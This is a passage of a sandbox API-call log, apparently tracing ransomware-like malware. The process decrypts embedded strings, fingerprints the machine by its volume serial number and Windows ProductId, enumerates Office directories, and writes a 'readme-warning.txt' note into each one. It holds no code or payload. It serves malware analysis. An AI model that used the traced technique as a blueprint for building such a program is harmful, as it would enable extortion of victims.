[0170.693] GetProcessHeap () returned 0x2ef0000 [0170.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.693] GetProcessHeap () returned 0x2ef0000 [0170.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.693] GetProcessHeap () returned 0x2ef0000 [0170.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.693] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.693] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.693] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.693] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.693] GetProcessHeap () returned 0x2ef0000 [0170.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.693] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.693] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.693] GetProcessHeap () returned 0x2ef0000 [0170.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.694] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\readme-warning.txt") returned 109 [0170.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.696] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.698] CloseHandle (hObject=0x118) returned 1 [0170.698] GetProcessHeap () returned 0x2ef0000 [0170.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.698] GetProcessHeap () returned 0x2ef0000 [0170.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.698] GetProcessHeap () returned 0x2ef0000 [0170.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.698] GetProcessHeap () returned 0x2ef0000 [0170.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.698] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.699] GetProcessHeap () returned 0x2ef0000 [0170.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.699] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0170.699] GetProcessHeap () returned 0x2ef0000 [0170.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.699] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0170.699] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.699] GetProcessHeap () returned 0x2ef0000 [0170.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.699] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0170.699] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.699] GetProcessHeap () returned 0x2ef0000 [0170.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0170.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.699] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0170.699] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.699] GetProcessHeap () returned 0x2ef0000 [0170.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.700] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0170.700] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.700] GetProcessHeap () returned 0x2ef0000 [0170.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.700] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0170.700] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.700] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0170.700] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0170.700] RegCloseKey (hKey=0x114) returned 0x0 [0170.700] GetProcessHeap () returned 0x2ef0000 [0170.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.700] GetProcessHeap () returned 0x2ef0000 [0170.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.700] GetProcessHeap () returned 0x2ef0000 [0170.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.701] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0170.701] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0170.701] CryptDestroyKey (hKey=0x2f18308) returned 1 [0170.701] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.701] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.701] GetProcessHeap () returned 0x2ef0000 [0170.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.701] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.701] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.701] GetProcessHeap () returned 0x2ef0000 [0170.701] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0170.701] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\readme-warning.txt") returned 98 [0170.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0170.703] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0170.704] CloseHandle (hObject=0x114) returned 1 [0170.704] GetProcessHeap () returned 0x2ef0000 [0170.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.705] GetProcessHeap () returned 0x2ef0000 [0170.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0170.705] GetProcessHeap () returned 0x2ef0000 [0170.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.705] GetProcessHeap () returned 0x2ef0000 [0170.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.705] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0170.705] GetProcessHeap () returned 0x2ef0000 [0170.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0170.705] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0170.705] GetProcessHeap () returned 0x2ef0000 [0170.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.706] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.706] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0170.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.706] GetProcessHeap () returned 0x2ef0000 [0170.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.706] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.706] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0170.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.706] GetProcessHeap () returned 0x2ef0000 [0170.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0170.706] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.706] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0170.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.706] GetProcessHeap () returned 0x2ef0000 [0170.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.706] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.706] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0170.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.706] GetProcessHeap () returned 0x2ef0000 [0170.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.707] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0170.707] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.707] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0170.707] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0170.707] RegCloseKey (hKey=0xf0) returned 0x0 [0170.707] GetProcessHeap () returned 0x2ef0000 [0170.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.707] GetProcessHeap () returned 0x2ef0000 [0170.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.707] GetProcessHeap () returned 0x2ef0000 [0170.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.707] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0170.707] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.707] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.707] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.708] GetProcessHeap () returned 0x2ef0000 [0170.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.708] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.708] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.708] GetProcessHeap () returned 0x2ef0000 [0170.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f47728 [0170.708] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\readme-warning.txt") returned 74 [0170.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.709] WriteFile (in: hFile=0xf0, lpBuffer=0x2f47728*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f47728*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0170.710] CloseHandle (hObject=0xf0) returned 1 [0170.710] GetProcessHeap () returned 0x2ef0000 [0170.710] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0170.710] GetProcessHeap () returned 0x2ef0000 [0170.710] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.710] GetProcessHeap () returned 0x2ef0000 [0170.710] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.710] GetProcessHeap () returned 0x2ef0000 [0170.710] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.710] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0170.710] GetProcessHeap () returned 0x2ef0000 [0170.710] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0170.710] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, 